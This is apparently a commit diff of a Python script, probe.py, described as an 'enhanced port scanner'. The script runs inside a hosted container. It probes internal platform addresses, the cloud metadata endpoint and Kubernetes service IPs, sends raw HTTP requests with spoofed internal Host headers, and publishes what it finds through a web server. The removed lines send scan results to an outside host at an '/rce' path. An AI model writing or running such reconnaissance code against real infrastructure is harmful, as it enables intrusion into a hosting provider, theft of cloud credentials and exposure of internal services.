xitro commited on
Commit
b3cfb51
·
verified ·
1 Parent(s): 7159e26

enhanced port scanner

Browse files
Files changed (1) hide show
  1. probe.py +51 -41
probe.py CHANGED
@@ -1,5 +1,5 @@
1
  #!/usr/bin/env python3
2
- import http.server, urllib.request, urllib.parse, socket, threading, time, json
3
 
4
  PROBE_URL = "https://xitro-env-probe.hf.space"
5
 
@@ -13,24 +13,40 @@ def check_port(host, port, timeout=2):
13
  except:
14
  return False
15
 
16
- def scan_and_fetch(host, port, path="/"):
17
- if not check_port(host, port):
18
- return None, False
19
  try:
20
- scheme = "https" if port in [443, 8443] else "http"
21
- url = f"{scheme}://{host}:{port}{path}"
22
- req = urllib.request.Request(url, headers={"Host": "api-internal.huggingface.co"})
23
- r = urllib.request.urlopen(req, timeout=5)
24
- return r.read().decode()[:500], True
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
25
  except Exception as e:
26
- return str(e)[:200], True # Port open but error
27
 
28
- # Gather info
29
  info = {
30
  "hostname": socket.gethostname(),
31
  "ip": None,
32
- "ports": {},
33
- "internal_scan": {}
34
  }
35
 
36
  try:
@@ -38,47 +54,41 @@ try:
38
  except:
39
  pass
40
 
41
- # Test internal hosts
42
  targets = [
43
- ("10.0.249.215", [80, 443, 8080, 8443, 9090, 6379, 5432, 27017]),
44
- ("10.0.249.10", [80, 443]),
45
- ("10.0.249.254", [80, 443]),
46
- ("169.254.169.254", [80]), # IMDS
47
- ("172.20.0.1", [443]), # K8s
 
 
 
 
48
  ]
49
 
50
- for host, ports in targets:
51
- info["internal_scan"][host] = {}
52
  for port in ports:
53
  open_status = check_port(host, port, timeout=2)
54
- info["internal_scan"][host][str(port)] = "OPEN" if open_status else "closed"
55
- if open_status and port in [80, 443, 8080]:
56
- content, _ = scan_and_fetch(host, port)
57
- if content:
58
- info["internal_scan"][host][f"{port}_content"] = content[:200]
 
59
 
60
- print("Scan results:", json.dumps(info, indent=2))
61
-
62
- # Callback with results
63
- try:
64
- params = urllib.parse.urlencode({
65
- "src": "docker_scan",
66
- "ip": info["ip"],
67
- "results": json.dumps(info["internal_scan"])[:500]
68
- })
69
- urllib.request.urlopen(f"{PROBE_URL}/rce?{params}", timeout=5)
70
- print("Callback sent!")
71
- except Exception as e:
72
- print(f"Callback failed: {e}")
73
 
74
- # HTTP server
75
  class Handler(http.server.BaseHTTPRequestHandler):
76
  def do_GET(self):
77
  self.send_response(200)
 
78
  self.end_headers()
79
  self.wfile.write(json.dumps(info, indent=2).encode())
80
  def log_message(self, *args): pass
81
 
82
  server = http.server.HTTPServer(("0.0.0.0", 7860), Handler)
83
- print("Server started")
84
  server.serve_forever()
 
1
  #!/usr/bin/env python3
2
+ import http.server, urllib.request, urllib.parse, socket, json, ssl
3
 
4
  PROBE_URL = "https://xitro-env-probe.hf.space"
5
 
 
13
  except:
14
  return False
15
 
16
+ def http_get(host, port, path="/", hostname=None):
 
 
17
  try:
18
+ if hostname is None:
19
+ hostname = host
20
+ conn_class = "http"
21
+
22
+ # Create a raw HTTP request
23
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24
+ s.settimeout(5)
25
+ s.connect((host, port))
26
+
27
+ request = f"GET {path} HTTP/1.1\r\nHost: {hostname}\r\nConnection: close\r\n\r\n"
28
+ s.send(request.encode())
29
+
30
+ response = b""
31
+ while True:
32
+ try:
33
+ chunk = s.recv(4096)
34
+ if not chunk:
35
+ break
36
+ response += chunk
37
+ if len(response) > 10000:
38
+ break
39
+ except:
40
+ break
41
+ s.close()
42
+ return response.decode('utf-8', errors='replace')[:1000]
43
  except Exception as e:
44
+ return f"ERROR: {e}"
45
 
 
46
  info = {
47
  "hostname": socket.gethostname(),
48
  "ip": None,
49
+ "scan": {}
 
50
  }
51
 
52
  try:
 
54
  except:
55
  pass
56
 
57
+ # Extended scan
58
  targets = [
59
+ # Internal HF servers
60
+ ("10.0.249.215", [80, 443, 8080, 8443, 9090, 9200, 6379, 5432], "api-internal.huggingface.co"),
61
+ ("10.0.249.10", [80, 443], "huggingface.co"),
62
+ ("10.0.249.254", [80, 443], "huggingface.co"),
63
+ # IMDS
64
+ ("169.254.169.254", [80], None),
65
+ # K8s
66
+ ("10.96.0.1", [443], None), # K8s service IP
67
+ ("172.20.0.1", [443], None),
68
  ]
69
 
70
+ for host, ports, hostname in targets:
71
+ info["scan"][host] = {}
72
  for port in ports:
73
  open_status = check_port(host, port, timeout=2)
74
+ info["scan"][host][port] = "OPEN" if open_status else "closed"
75
+
76
+ if open_status and port in [80]:
77
+ # Try to get HTTP response
78
+ resp = http_get(host, port, "/_internal/health", hostname or host)
79
+ info["scan"][host][f"{port}_content"] = resp[:400]
80
 
81
+ print(json.dumps(info, indent=2))
 
 
 
 
 
 
 
 
 
 
 
 
82
 
83
+ # HTTP server to serve results
84
  class Handler(http.server.BaseHTTPRequestHandler):
85
  def do_GET(self):
86
  self.send_response(200)
87
+ self.send_header("Content-Type", "application/json")
88
  self.end_headers()
89
  self.wfile.write(json.dumps(info, indent=2).encode())
90
  def log_message(self, *args): pass
91
 
92
  server = http.server.HTTPServer(("0.0.0.0", 7860), Handler)
93
+ print("Server started on :7860")
94
  server.serve_forever()